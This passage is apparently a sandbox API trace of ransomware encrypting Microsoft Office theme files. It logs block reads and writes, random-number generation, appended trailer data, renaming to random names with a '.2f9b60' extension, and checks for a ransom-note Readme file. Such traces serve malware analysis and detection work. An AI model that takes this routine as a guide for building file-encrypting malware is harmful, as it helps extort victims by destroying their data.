14\\Theme Effects\\" [0111.469] wcscat (in: _Dest=0x20279a30, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" [0111.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\2f9b60-readme.txt")) returned 0x20 [0111.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0111.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65550) returned 1 Thread: id = 1078 os_tid = 0x177c [0111.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx")) returned 0x20 [0111.434] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx", dwFileAttributes=0x20) returned 1 [0111.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x160c [0111.435] GetFileSizeEx (in: hFile=0x160c, lpFileSize=0x332ef800 | out: lpFileSize=0x332ef800*=32857) returned 1 [0111.435] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x8055, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.435] ReadFile (in: hFile=0x160c, lpBuffer=0x332ef780, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x332ef7c8, lpOverlapped=0x0 | out: lpBuffer=0x332ef780*, lpNumberOfBytesRead=0x332ef7c8*=0x4, lpOverlapped=0x0) returned 1 [0111.438] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.438] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7bb0 [0111.439] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7c10 [0111.439] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7c40 [0111.439] NtQuerySystemTime (in: CurrentTime=0x332ef6c0 | out: CurrentTime=0x332ef6c0*=132462177169138000) returned 0x0 [0111.439] RtlRandomEx (in: Seed=0x332ef6b0 | out: Seed=0x332ef6b0) returned 0xc4c4bae [0111.439] RtlRandomEx (in: Seed=0x332ef6b0 | out: Seed=0x332ef6b0) returned 0x3bced9d8 [0111.439] RtlRandomEx (in: Seed=0x332ef6b0 | out: Seed=0x332ef6b0) returned 0x6a18fc37 [0111.439] RtlRandomEx (in: Seed=0x332ef6b0 | out: Seed=0x332ef6b0) returned 0x27803c6c [0111.439] RtlRandomEx (in: Seed=0x332ef6b0 | out: Seed=0x332ef6b0) returned 0x77bbe640 [0111.439] RtlRandomEx (in: Seed=0x332ef6b0 | out: Seed=0x332ef6b0) returned 0x55e3a1eb [0111.439] RtlRandomEx (in: Seed=0x332ef6b0 | out: Seed=0x332ef6b0) returned 0x54b3b6ea [0111.439] RtlRandomEx (in: Seed=0x332ef6b0 | out: Seed=0x332ef6b0) returned 0x6f929ec3 [0111.439] RtlRandomEx (in: Seed=0x332ef6b0 | out: Seed=0x332ef6b0) returned 0x108fcc53 [0111.439] RtlRandomEx (in: Seed=0x332ef6b0 | out: Seed=0x332ef6b0) returned 0x2abfd93e [0111.439] RtlRandomEx (in: Seed=0x332ef6b0 | out: Seed=0x332ef6b0) returned 0x38fbc026 [0111.439] RtlRandomEx (in: Seed=0x332ef6b0 | out: Seed=0x332ef6b0) returned 0x73f02ede [0111.439] RtlRandomEx (in: Seed=0x332ef6b0 | out: Seed=0x332ef6b0) returned 0x2860d9e5 [0111.439] RtlRandomEx (in: Seed=0x332ef6b0 | out: Seed=0x332ef6b0) returned 0x5d85e0ca [0111.439] RtlRandomEx (in: Seed=0x332ef6b0 | out: Seed=0x332ef6b0) returned 0x1374c14 [0111.439] RtlRandomEx (in: Seed=0x332ef6b0 | out: Seed=0x332ef6b0) returned 0x3c414a69 [0111.439] RtlRandomEx (in: Seed=0x332ef6b0 | out: Seed=0x332ef6b0) returned 0x3c83beb0 [0111.440] RtlRandomEx (in: Seed=0x332ef6b0 | out: Seed=0x332ef6b0) returned 0x16028654 [0111.440] RtlRandomEx (in: Seed=0x332ef6b0 | out: Seed=0x332ef6b0) returned 0x5a006669 [0111.440] RtlRandomEx (in: Seed=0x332ef6b0 | out: Seed=0x332ef6b0) returned 0x44368f24 [0111.440] RtlRandomEx (in: Seed=0x332ef6b0 | out: Seed=0x332ef6b0) returned 0x3bfb5619 [0111.440] RtlRandomEx (in: Seed=0x332ef6b0 | out: Seed=0x332ef6b0) returned 0x1286c622 [0111.440] RtlRandomEx (in: Seed=0x332ef6b0 | out: Seed=0x332ef6b0) returned 0x3a8edfa2 [0111.440] RtlRandomEx (in: Seed=0x332ef6b0 | out: Seed=0x332ef6b0) returned 0x22a2ad86 [0111.440] RtlRandomEx (in: Seed=0x332ef6b0 | out: Seed=0x332ef6b0) returned 0x1979067d [0111.440] RtlRandomEx (in: Seed=0x332ef6b0 | out: Seed=0x332ef6b0) returned 0x5d75c06 [0111.440] RtlRandomEx (in: Seed=0x332ef6b0 | out: Seed=0x332ef6b0) returned 0x3913e4b8 [0111.440] RtlRandomEx (in: Seed=0x332ef6b0 | out: Seed=0x332ef6b0) returned 0x62441ad6 [0111.440] RtlRandomEx (in: Seed=0x332ef6b0 | out: Seed=0x332ef6b0) returned 0x13980daa [0111.440] RtlRandomEx (in: Seed=0x332ef6b0 | out: Seed=0x332ef6b0) returned 0x36148a2f [0111.440] RtlRandomEx (in: Seed=0x332ef6b0 | out: Seed=0x332ef6b0) returned 0x638887fa [0111.440] RtlRandomEx (in: Seed=0x332ef6b0 | out: Seed=0x332ef6b0) returned 0x11b8f341 [0111.450] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.450] ReadFile (in: hFile=0x160c, lpBuffer=0x41e5f0f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x332ef720, lpOverlapped=0x0 | out: lpBuffer=0x41e5f0f0*, lpNumberOfBytesRead=0x332ef720*=0x3c00, lpOverlapped=0x0) returned 1 [0111.461] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.461] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.461] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0111.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a75b0 [0111.462] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a75b0) returned 1 [0111.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e8c1b0 [0111.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a75b0 [0111.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7ca0 [0111.462] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7ca0) returned 1 [0111.462] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0111.462] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.462] WriteFile (in: hFile=0x160c, lpBuffer=0x41e8c1b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x332ef720, lpOverlapped=0x0 | out: lpBuffer=0x41e8c1b0*, lpNumberOfBytesWritten=0x332ef720*=0x3c00, lpOverlapped=0x0) returned 1 [0111.465] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e8c1b0) returned 1 [0111.465] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e5f0f0) returned 1 [0111.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a7ca0 [0111.465] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0111.465] WriteFile (in: hFile=0x160c, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x332ef7d0, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x332ef7d0*=0x10a, lpOverlapped=0x0) returned 1 [0111.471] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.471] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0111.471] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a76a0 [0111.472] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a76a0) returned 1 [0111.472] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0111.472] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a76a0 [0111.472] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7c70 [0111.472] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7c70) returned 1 [0111.472] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0111.472] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.472] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f070 [0111.472] sprintf (in: _Dest=0x1cd9f070, _Format="%c%c" | out: _Dest="3e") returned 2 [0111.472] sprintf (in: _Dest=0x1cd9f072, _Format="%c%c" | out: _Dest="72") returned 2 [0111.472] sprintf (in: _Dest=0x1cd9f074, _Format="%c%c" | out: _Dest="ac") returned 2 [0111.472] sprintf (in: _Dest=0x1cd9f076, _Format="%c%c" | out: _Dest="70") returned 2 [0111.472] sprintf (in: _Dest=0x1cd9f078, _Format="%c%c" | out: _Dest="b5") returned 2 [0111.472] sprintf (in: _Dest=0x1cd9f07a, _Format="%c%c" | out: _Dest="93") returned 2 [0111.472] sprintf (in: _Dest=0x1cd9f07c, _Format="%c%c" | out: _Dest="17") returned 2 [0111.472] sprintf (in: _Dest=0x1cd9f07e, _Format="%c%c" | out: _Dest="4c") returned 2 [0111.472] sprintf (in: _Dest=0x1cd9f080, _Format="%c%c" | out: _Dest="3f") returned 2 [0111.472] sprintf (in: _Dest=0x1cd9f082, _Format="%c%c" | out: _Dest="22") returned 2 [0111.472] sprintf (in: _Dest=0x1cd9f084, _Format="%c%c" | out: _Dest="3a") returned 2 [0111.472] sprintf (in: _Dest=0x1cd9f086, _Format="%c%c" | out: _Dest="e6") returned 2 [0111.473] sprintf (in: _Dest=0x1cd9f088, _Format="%c%c" | out: _Dest="e7") returned 2 [0111.473] sprintf (in: _Dest=0x1cd9f08a, _Format="%c%c" | out: _Dest="fd") returned 2 [0111.473] sprintf (in: _Dest=0x1cd9f08c, _Format="%c%c" | out: _Dest="b9") returned 2 [0111.473] sprintf (in: _Dest=0x1cd9f08e, _Format="%c%c" | out: _Dest="86") returned 2 [0111.473] sprintf (in: _Dest=0x1cd9f090, _Format="%c%c" | out: _Dest="f7") returned 2 [0111.473] sprintf (in: _Dest=0x1cd9f092, _Format="%c%c" | out: _Dest="90") returned 2 [0111.473] sprintf (in: _Dest=0x1cd9f094, _Format="%c%c" | out: _Dest="14") returned 2 [0111.473] sprintf (in: _Dest=0x1cd9f096, _Format="%c%c" | out: _Dest="da") returned 2 [0111.473] sprintf (in: _Dest=0x1cd9f098, _Format="%c%c" | out: _Dest="5b") returned 2 [0111.473] sprintf (in: _Dest=0x1cd9f09a, _Format="%c%c" | out: _Dest="70") returned 2 [0111.473] sprintf (in: _Dest=0x1cd9f09c, _Format="%c%c" | out: _Dest="64") returned 2 [0111.473] sprintf (in: _Dest=0x1cd9f09e, _Format="%c%c" | out: _Dest="97") returned 2 [0111.473] RtlInitAnsiString (in: DestinationString=0x332ef848, SourceString="3e72ac70b593174c3f223ae6e7fdb986f79014da5b706497" | out: DestinationString="3e72ac70b593174c3f223ae6e7fdb986f79014da5b706497") [0111.473] RtlAnsiStringToUnicodeString (in: DestinationString=0x332ef818, SourceString="3e72ac70b593174c3f223ae6e7fdb986f79014da5b706497", AllocateDestinationString=1 | out: DestinationString="3e72ac70b593174c3f223ae6e7fdb986f79014da5b706497") returned 0x0 [0111.473] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9400 [0111.473] wcscat (in: _Dest=0x20279a30, _Source="3e72ac70b593" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\3e72ac70b593") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\3e72ac70b593" [0111.473] wcscat (in: _Dest=0x20279a30, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\3e72ac70b593.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\3e72ac70b593.2f9b60" [0111.474] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\3e72ac70b593.2f9b60", NtPathName=0x332ef7f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\3e72ac70b593.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0111.474] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x1b776af0 [0111.474] NtSetInformationFile (FileHandle=0x160c, IoStatusBlock=0x332ef890, FileInformation=0x1b776af0, Length=0xcc, FileInformationClass=0xa) returned 0x0 [0111.475] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776af0) returned 1 [0111.475] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0111.475] NtQueryInformationFile (in: FileHandle=0x160c, IoStatusBlock=0x332ef858, FileInformation=0x332ef868, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x332ef858, FileInformation=0x332ef868) returned 0x0 [0111.475] NtSetInformationFile (FileHandle=0x160c, IoStatusBlock=0x332ef858, FileInformation=0x332ef868, Length=0x28, FileInformationClass=0x4) returned 0x0 [0111.478] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0111.478] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9400) returned 1 [0111.478] FlushFileBuffers (hFile=0x160c) returned 1 [0111.482] CloseHandle (hObject=0x160c) returned 1 [0111.483] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279a30 [0111.483] wcscpy (in: _Dest=0x20279a30, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0111.483] wcscat (in: _Dest=0x20279a30, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" [0111.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\2f9b60-readme.txt")) returned 0x20 [0111.484] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 [0111.484] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd654a0) returned 1 Thread: id = 1079 os_tid = 0x1778 [0111.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx")) returned 0x20 [0111.480] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx", dwFileAttributes=0x20) returned 1 [0111.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe04 [0111.480] GetFileSizeEx (in: hFile=0xe04, lpFileSize=0x33dff880 | out: lpFileSize=0x33dff880*=582401) returned 1 [0111.481] SetFilePointerEx (in: hFile=0xe04, liDistanceToMove=0x8e2fd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.481] ReadFile (in: hFile=0xe04, lpBuffer=0x33dff800, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x33dff848, lpOverlapped=0x0 | out: lpBuffer=0x33dff800*, lpNumberOfBytesRead=0x33dff848*=0x4, lpOverlapped=0x0) returned 1 [0111.485] SetFilePointerEx (in: hFile=0xe04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7f40 [0111.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7670 [0111.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7cd0 [0111.485] NtQuerySystemTime (in: CurrentTime=0x33dff740 | out: CurrentTime=0x33dff740*=132462177169606000) returned 0x0 [0111.485] RtlRandomEx (in: Seed=0x33dff730 | out: Seed=0x33dff730) returned 0x6df3c5eb [0111.485] RtlRandomEx (in: Seed=0x33dff730 | out: Seed=0x33dff730) returned 0x5e35bc30 [0111.485] RtlRandomEx (in: Seed=0x33dff730 | out: Seed=0x33dff730) returned 0x607c4b5e [0111.485] RtlRandomEx (in: Seed=0x33dff730 | out: Seed=0x33dff730) returned 0x1d72a400 [0111.485] RtlRandomEx (in: Seed=0x33dff730 | out: Seed=0x33dff730) returned 0x67a5e199 [0111.485] RtlRandomEx (in: Seed=0x33dff730 | out: Seed=0x33dff730) returned 0x1a93ca36 [0111.485] RtlRandomEx (in: Seed=0x33dff730 | out: Seed=0x33dff730) returned 0x43e794b1 [0111.485] RtlRandomEx (in: Seed=0x33dff730 | out: Seed=0x33dff730) returned 0x365622f3 [0111.485] RtlRandomEx (in: Seed=0x33dff730 | out: Seed=0x33dff730) returned 0x328e486e [0111.485] RtlRandomEx (in: Seed=0x33dff730 | out: Seed=0x33dff730) returned 0x6c3184bd [0111.485] RtlRandomEx (in: Seed=0x33dff730 | out: Seed=0x33dff730) returned 0x8fd03c1 [0111.486] RtlRandomEx (in: Seed=0x33dff730 | out: Seed=0x33dff730) returned 0x3d66c786 [0111.486] RtlRandomEx (in: Seed=0x33dff730 | out: Seed=0x33dff730) returned 0x2ec5f84f [0111.486] RtlRandomEx (in: Seed=0x33dff730 | out: Seed=0x33dff730) returned 0x198cf2ca [0111.486] RtlRandomEx (in: Seed=0x33dff730 | out: Seed=0x33dff730) returned 0x4fae4fbd [0111.486] RtlRandomEx (in: Seed=0x33dff730 | out: Seed=0x33dff730) returned 0x1f4f09cd [0111.486] RtlRandomEx (in: Seed=0x33dff730 | out: Seed=0x33dff730) returned 0xf9d060f [0111.486] RtlRandomEx (in: Seed=0x33dff730 | out: Seed=0x33dff730) returned 0x7d1c177a [0111.486] RtlRandomEx (in: Seed=0x33dff730 | out: Seed=0x33dff730) returned 0x6523b9e6 [0111.486] RtlRandomEx (in: Seed=0x33dff730 | out: Seed=0x33dff730) returned 0x696004a1 [0111.486] RtlRandomEx (in: Seed=0x33dff730 | out: Seed=0x33dff730) returned 0x47d881c7 [0111.486] RtlRandomEx (in: Seed=0x33dff730 | out: Seed=0x33dff730) returned 0x53e34033 [0111.486] RtlRandomEx (in: Seed=0x33dff730 | out: Seed=0x33dff730) returned 0x6dc609ec [0111.486] RtlRandomEx (in: Seed=0x33dff730 | out: Seed=0x33dff730) returned 0x6ef11f45 [0111.486] RtlRandomEx (in: Seed=0x33dff730 | out: Seed=0x33dff730) returned 0x686c65a8 [0111.486] RtlRandomEx (in: Seed=0x33dff730 | out: Seed=0x33dff730) returned 0x20086bbf [0111.486] RtlRandomEx (in: Seed=0x33dff730 | out: Seed=0x33dff730) returned 0x4853f1f9 [0111.486] RtlRandomEx (in: Seed=0x33dff730 | out: Seed=0x33dff730) returned 0x4b74ae8b [0111.486] RtlRandomEx (in: Seed=0x33dff730 | out: Seed=0x33dff730) returned 0x27b0d5fe [0111.486] RtlRandomEx (in: Seed=0x33dff730 | out: Seed=0x33dff730) returned 0x9db2801 [0111.486] RtlRandomEx (in: Seed=0x33dff730 | out: Seed=0x33dff730) returned 0x1acef6e0 [0111.486] RtlRandomEx (in: Seed=0x33dff730 | out: Seed=0x33dff730) returned 0xa30d981 [0111.495] SetFilePointerEx (in: hFile=0xe04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.495] ReadFile (in: hFile=0xe04, lpBuffer=0x41e5f0f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x33dff7a0, lpOverlapped=0x0 | out: lpBuffer=0x41e5f0f0*, lpNumberOfBytesRead=0x33dff7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0111.498] SetFilePointerEx (in: hFile=0xe04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.498] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.498] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0111.498] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7f40 [0111.498] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7f40) returned 1 [0111.498] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e8c1b0 [0111.498] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7f40 [0111.499] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7cd0 [0111.499] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7cd0) returned 1 [0111.499] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0111.499] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.499] WriteFile (in: hFile=0xe04, lpBuffer=0x41e8c1b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x33dff7a0, lpOverlapped=0x0 | out: lpBuffer=0x41e8c1b0*, lpNumberOfBytesWritten=0x33dff7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0111.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e8c1b0) returned 1 [0111.506] SetFilePointerEx (in: hFile=0xe04, liDistanceToMove=0x47400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.506] ReadFile (in: hFile=0xe04, lpBuffer=0x41e5f0f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x33dff7a0, lpOverlapped=0x0 | out: lpBuffer=0x41e5f0f0*, lpNumberOfBytesRead=0x33dff7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0111.521] SetFilePointerEx (in: hFile=0xe04, liDistanceToMove=0x47400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.521] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.522] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0111.522] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7cd0 [0111.522] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7cd0) returned 1 [0111.522] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e80d80 [0111.522] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7cd0 [0111.522] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7d30 [0111.522] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7d30) returned 1 [0111.522] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0111.522] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.522] WriteFile (in: hFile=0xe04, lpBuffer=0x41e80d80*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x33dff7a0, lpOverlapped=0x0 | out: lpBuffer=0x41e80d80*, lpNumberOfBytesWritten=0x33dff7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0111.526] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e80d80) returned 1 [0111.526] SetFilePointerEx (in: hFile=0xe04, liDistanceToMove=0x8a701, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.526] ReadFile (in: hFile=0xe04, lpBuffer=0x41e5f0f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x33dff7a0, lpOverlapped=0x0 | out: lpBuffer=0x41e5f0f0*, lpNumberOfBytesRead=0x33dff7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0111.528] SetFilePointerEx (in: hFile=0xe04, liDistanceToMove=0x8a701, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869f40 [0111.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7c40 [0111.529] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7c40) returned 1 [0111.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e8c1b0 [0111.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7c40 [0111.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7be0 [0111.530] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7be0) returned 1 [0111.530] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0111.530] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.530] WriteFile (in: hFile=0xe04, lpBuffer=0x41e8c1b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x33dff7a0, lpOverlapped=0x0 | out: lpBuffer=0x41e8c1b0*, lpNumberOfBytesWritten=0x33dff7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0111.538] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e8c1b0) returned 1 [0111.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ced9860 [0111.539] SetFilePointerEx (in: hFile=0xe04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0111.539] WriteFile (in: hFile=0xe04, 